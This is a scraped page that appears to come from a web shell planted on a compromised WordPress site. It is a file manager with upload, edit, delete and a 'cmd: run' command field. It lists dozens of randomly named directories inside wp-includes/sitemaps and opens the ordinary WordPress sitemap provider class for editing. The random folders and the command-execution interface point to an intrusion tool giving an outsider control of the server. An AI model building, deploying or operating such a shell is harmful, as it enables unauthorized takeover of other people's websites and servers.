/
home
/
vianto5
/
ceibaresidencial.mx
/
wp-includes
/
sitemaps
/
/home/vianto5/ceibaresidencial.mx/wp-includes/sitemaps
mkdir
upload
Name
Size
Mode
Actions
1bdtmuh/
-
0755
rm
1fjdxam/
-
0755
rm
1krhgab/
-
0755
rm
1nilqyt/
-
0755
rm
1nldfxu/
-
0755
rm
1ofnwvt/
-
0755
rm
adpi1mj/
-
0755
rm
ahmu1ny/
-
0755
rm
anp1smj/
-
0755
rm
atrkpbz/
-
0755
rm
avifh1d/
-
0755
rm
cdqwvgp/
-
0755
rm
cihetof/
-
0755
rm
cwboszf/
-
0755
rm
dhlz1fm/
-
0755
rm
dlcuxfn/
-
0755
rm
dmruox1/
-
0755
rm
dncmfix/
-
0755
rm
dtp1xvr/
-
0755
rm
dupgfbj/
-
0755
rm
eanthpw/
-
0755
rm
ecputva/
-
0755
rm
ehatyqw/
-
0755
rm
eiakbqm/
-
0755
rm
elkr1mu/
-
0755
rm
eqjkywp/
-
0755
rm
erjtpzd/
-
0755
rm
fmehoyb/
-
0755
rm
gavehnr/
-
0755
rm
gbuk1ha/
-
0755
rm
gltriyb/
-
0755
rm
h1nljma/
-
0755
rm
hwlbqsx/
-
0755
rm
i1ugkte/
-
0755
rm
iespjwh/
-
0755
rm
isxobcu/
-
0755
rm
iwdbsty/
-
0755
rm
iwpudz1/
-
0755
rm
izbcmrv/
-
0755
rm
koutacz/
-
0755
rm
krpcsbh/
-
0755
rm
kuox1ai/
-
0755
rm
lncgmty/
-
0755
rm
lrvxdgf/
-
0755
rm
mcgfyxp/
-
0755
rm
mizlsfa/
-
0755
rm
mnuhbf1/
-
0755
rm
mrgfakw/
-
0755
rm
muzoghy/
-
0755
rm
mzyotpb/
-
0755
rm
njhpusx/
-
0755
rm
nmrkula/
-
0755
rm
nqugbdt/
-
0755
rm
ohijxqb/
-
0755
rm
ohjxygf/
-
0755
rm
ozindgk/
-
0755
rm
pbcz1rv/
-
0755
rm
pduiofn/
-
0755
rm
pqmjysb/
-
0755
rm
pqrvalo/
-
0755
rm
providers/
-
0755
rm
pxmcwlt/
-
0755
rm
qdirulc/
-
0755
rm
qlozwut/
-
0755
rm
rgfbq1t/
-
0755
rm
siunolk/
-
0755
rm
smxplgn/
-
0755
rm
srofpxi/
-
0755
rm
t1fmahd/
-
0755
rm
tabhnmi/
-
0755
rm
tjapmgx/
-
0755
rm
tljfzwk/
-
0755
rm
tpohdzr/
-
0755
rm
tweupok/
-
0755
rm
ufarezl/
-
0755
rm
v1mzupk/
-
0755
rm
vceuhtf/
-
0755
rm
vhloaqn/
-
0755
rm
wkxfujs/
-
0755
rm
wtpsdhn/
-
0755
rm
xaklmvi/
-
0755
rm
xe1zawb/
-
0755
rm
xjygasf/
-
0755
rm
xlgayjn/
-
0755
rm
xnvdoaf/
-
0755
rm
xtarqko/
-
0755
rm
xtcgh1v/
-
0755
rm
xtjrbvo/
-
0755
rm
y1rbqnu/
-
0755
rm
ycjkqrw/
-
0755
rm
yharoxp/
-
0755
rm
yovltzh/
-
0755
rm
zkuabht/
-
0755
rm
zmrk1wb/
-
0755
rm
zmspuo1/
-
0755
rm
zpbwik1/
-
0755
rm
.htaccess
178
0644
edit
dl
rm
class-wp-sitemaps-index.php
2010
0644
edit
dl
rm
class-wp-sitemaps-provider.php
4413
0644
edit
dl
rm
class-wp-sitemaps-registry.php
1934
0644
edit
dl
rm
class-wp-sitemaps-renderer.php
6687
0644
edit
dl
rm
class-wp-sitemaps-stylesheet.php
8520
0644
edit
dl
rm
class-wp-sitemaps.php
6402
0644
edit
dl
rm
Edit:
/home/vianto5/ceibaresidencial.mx/wp-includes/sitemaps/class-wp-sitemaps-provider.php
(4413B)
<?php /** * Sitemaps: WP_Sitemaps_Provider class * * This class is a base class for other sitemap providers to extend and contains shared functionality. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Class WP_Sitemaps_Provider. * * @since 5.5.0 */ #[AllowDynamicProperties] abstract class WP_Sitemaps_Provider { /** * Provider name. * * This will also be used as the public-facing name in URLs. * * @since 5.5.0 * * @var string */ protected $name = ''; /** * Object type name (e.g. 'post', 'term', 'user'). * * @since 5.5.0 * * @var string */ protected $object_type = ''; /** * Gets a URL list for a sitemap. * * @since 5.5.0 * * @param int $page_num Page of results. * @param string $object_subtype Optional. Object subtype name. Default empty. * @return array[] Array of URL information for a sitemap. */ abstract public function get_url_list( $page_num, $object_subtype = '' ); /** * Gets the max number of pages available for the object type. * * @since 5.5.0 * * @param string $object_subtype Optional. Object subtype. Default empty. * @return int Total number of pages. */ abstract public function get_max_num_pages( $object_subtype = '' ); /** * Gets data about each sitemap type. * * @since 5.5.0 * * @return array[] Array of sitemap types including object subtype name and number of pages. */ public function get_sitemap_type_data() { $sitemap_data = array(); $object_subtypes = $this->get_object_subtypes(); /* * If there are no object subtypes, include a single sitemap for the * entire object type. */ if ( empty( $object_subtypes ) ) { $sitemap_data[] = array( 'name' => '', 'pages' => $this->get_max_num_pages(), ); return $sitemap_data; } // Otherwise, include individual sitemaps for every object subtype. foreach ( $object_subtypes as $object_subtype_name => $data ) { $object_subtype_name = (string) $object_subtype_name; $sitemap_data[] = array( 'name' => $object_subtype_name, 'pages' => $this->get_max_num_pages( $object_subtype_name ), ); } return $sitemap_data; } /** * Lists sitemap pages exposed by this provider. * * The returned data is used to populate the sitemap entries of the index. * * @since 5.5.0 * * @return array[] Array of sitemap entries. */ public function get_sitemap_entries() { $sitemaps = array(); $sitemap_types = $this->get_sitemap_type_data(); foreach ( $sitemap_types as $type ) { for ( $page = 1; $page <= $type['pages']; $page++ ) { $sitemap_entry = array( 'loc' => $this->get_sitemap_url( $type['name'], $page ), ); /** * Filters the sitemap entry for the sitemap index. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the post. * @param string $object_type Object empty name. * @param string $object_subtype Object subtype name. * Empty string if the object type does not support subtypes. * @param int $page Page number of results. */ $sitemap_entry = apply_filters( 'wp_sitemaps_index_entry', $sitemap_entry, $this->object_type, $type['name'], $page ); $sitemaps[] = $sitemap_entry; } } return $sitemaps; } /** * Gets the URL of a sitemap entry. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $name The name of the sitemap. * @param int $page The page of the sitemap. * @return string The composed URL for a sitemap entry. */ public function get_sitemap_url( $name, $page ) { global $wp_rewrite; // Accounts for cases where name is not included, ex: sitemaps-users-1.xml. $params = array_filter( array( 'sitemap' => $this->name, 'sitemap-subtype' => $name, 'paged' => $page, ) ); $basename = sprintf( '/wp-sitemap-%1$s.xml', implode( '-', $params ) ); if ( ! $wp_rewrite->using_permalinks() ) { $basename = '/?' . http_build_query( $params, '', '&' ); } return home_url( $basename ); } /** * Returns the list of supported object subtypes exposed by the provider. * * @since 5.5.0 * * @return array List of object subtypes objects keyed by their name. */ public function get_object_subtypes() { return array(); } }
Save
cmd:
run